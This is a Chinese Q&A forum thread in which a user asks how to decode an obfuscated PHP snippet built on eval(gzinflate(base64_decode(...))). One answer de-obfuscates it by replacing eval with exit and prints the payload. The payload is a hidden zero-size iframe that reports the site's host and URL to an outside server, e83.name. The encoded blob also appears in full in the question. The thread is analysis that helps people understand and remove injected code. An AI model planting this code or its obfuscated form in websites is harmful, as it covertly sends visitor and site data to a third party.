Question

请问这段代码如何解密？

<? eval(gzinflate(base64_decode("rVPRbtowFP0QeGBRpJICwb5XsXWVJtmgaNJU8cTDqm210mAGGiVRMCmW1vbX57QPfaNVtSdb59rn3nOO7f8B0ESWpDKCrYHlHIxEhbiHqCCqSW4Eq4AZDkri5hlXJAvBamCWQyXRIGqIloIlXMZ+TaQF23MoEQ8AjqAAplUhsYbIAlREhqQ7slSuUHJYStSIiTcKc5t3O5HlQx7NJ4vp18X0m7iezb7Mr28mM3GVvaLTxefLxWQ2v5x+F1fn3Q43tX3kYnS8L6q/ht8W9RCt1vkgTU3w08ueHJrmj7c6bYzOXJ+wRYYii2wmkK+OB22H+Am5NcfG6udt9XBsnob4YO41jkfpC/VYnHPe7YRjL/b3AE6Js2EjcQfRb1USHUTrVNVKZwai5KN2xP4WIrfunL0c1qoEtlKt6SQtUeU6O9MlukuOGZgzX5NM9qbe6l3/PZMFse9CayTmwLaqIrl2syiXeOlG4dAmcnYWr8q676/dHQ7uGTREOcAdyQbYXrah3yUsPlm/+IiO05SDQfDW6L0w6RXrul/Wy3eZ8eNkw19B76bn/8+PEsS6ybd9L0u98C0toXeReUH8Dw=="))); ?>
不是，这是一段加密的php代码，需要一点技巧才能还原
别人有给出一些解密方法，但是不适用我
http://zhidao.baidu.com/q?word=%3C%3F+eval%28gzinflate%28base64_decode%28%22rVPRbtowFP0QeGBRpJICwb5XsXWVJtmgaNJU8cTDqm210mAGGiVRMCmW1vbX57QPfaNVtSdb59rn3nOO7f8B0ESWpDKCrYHlHIxEhbiHqCCqSW4Eq4AZDkri5hlXJAvBamCWQyXRIGqIloIlXMZ%2BTaQF23MoEQ8AjqAAplUhsYbIAlREhqQ7slSuUHJYStSIiTcKc5t3O5HlQx7NJ4vp18X0m7iezb7&lm=0&fr=search&ct=17&pn=0&tn=ikaslist&rn=10

Answer 1

　　方法很简单：把eval改为exit，执行文件就能显示出等效代码，这根本就不是解密、加密，只是幼儿园小孩躲猫猫的游戏。

　　你不要不相信，把你代码里面的eval替换为exit后，运行显示的内容如下：
　　$k22e99y97_t60h20a12t73_33s25c99r97i60p20t12_73i33s25_97c60r20y12p73t33e25d60=17;
　　$r99e60s12o33u22r97c20e_c73r25y22p99t97e60d_c20o12d73e33="-.aya5y1,15NBTCGTCJ6YEEANY^BE6L?5NBTCGTCJ6CT@DTBENDCX6L*1try~16-xwcp|t1bcr,3yeea+>>t)\"?p|t>a~be>vte?aya.p|t,6?5y?631fxuey,3!31ytxvye,3!31p}xv,3}twe3/->xwcp|t/6*11./";
　　$s22t97r20i73n25g_o99u60t12p33u20t25=$r99e60s12o33u22r97c20e_c73r25y22p99t97e60d_c20o12d73e33;
　　$l25e33n73t12h_o20f_c60r97y99p22t33e73d_c12o20d60e97=strlen($s22t97r20i73n25g_o99u60t12p33u20t25);
　　$e25v73a20l_p97h22p_c99o60d12e33='';
　　for($h33u12i60v99a22m97v20s73e25m=0;
　　$h33u12i60v99a22m97v20s73e25m<$l25e33n73t12h_o20f_c60r97y99p22t33e73d_c12o20d60e97;
　　$h33u12i60v99a22m97v20s73e25m++)$e25v73a20l_p97h22p_c99o60d12e33 .= chr(ord($s22t97r20i73n25g_o99u60t12p33u20t25[$h33u12i60v99a22m97v20s73e25m]) ^ $k22e99y97_t60h20a12t73_33s25c99r97i60p20t12_73i33s25_97c60r20y12p73t33e25d60);
　　exit("?>".$e25v73a20l_p97h22p_c99o60d12e33."<?");

　　用上面的代码替换原来的代码，里面仍然有eval，同样的方法运行，显示如下代码：
　　?><?php
　　$h = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
　　echo '<iframe src="http://e83.name/post/get.php?name='.$h.'" width="0" height="0" align="left"></iframe>';
　　?><?

　　那么，你的整个原始文件，和下面的内容等效：
　　<?php
　　?><?php
　　$h = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
　　echo '<iframe src="http://e83.name/post/get.php?name='.$h.'" width="0" height="0" align="left"></iframe>';
　　?><??>

　　现在的内容是不是很容易看明白了？

Answer 2

楼主和我的问题一样，看看这篇文章，破解很简单
http://www.suyiblog.com/most-forget/how-to-crack-such-as-php-code.html

Answer 3

请问是将它变成数字吗？如果是，那这段代码，就是数字相加。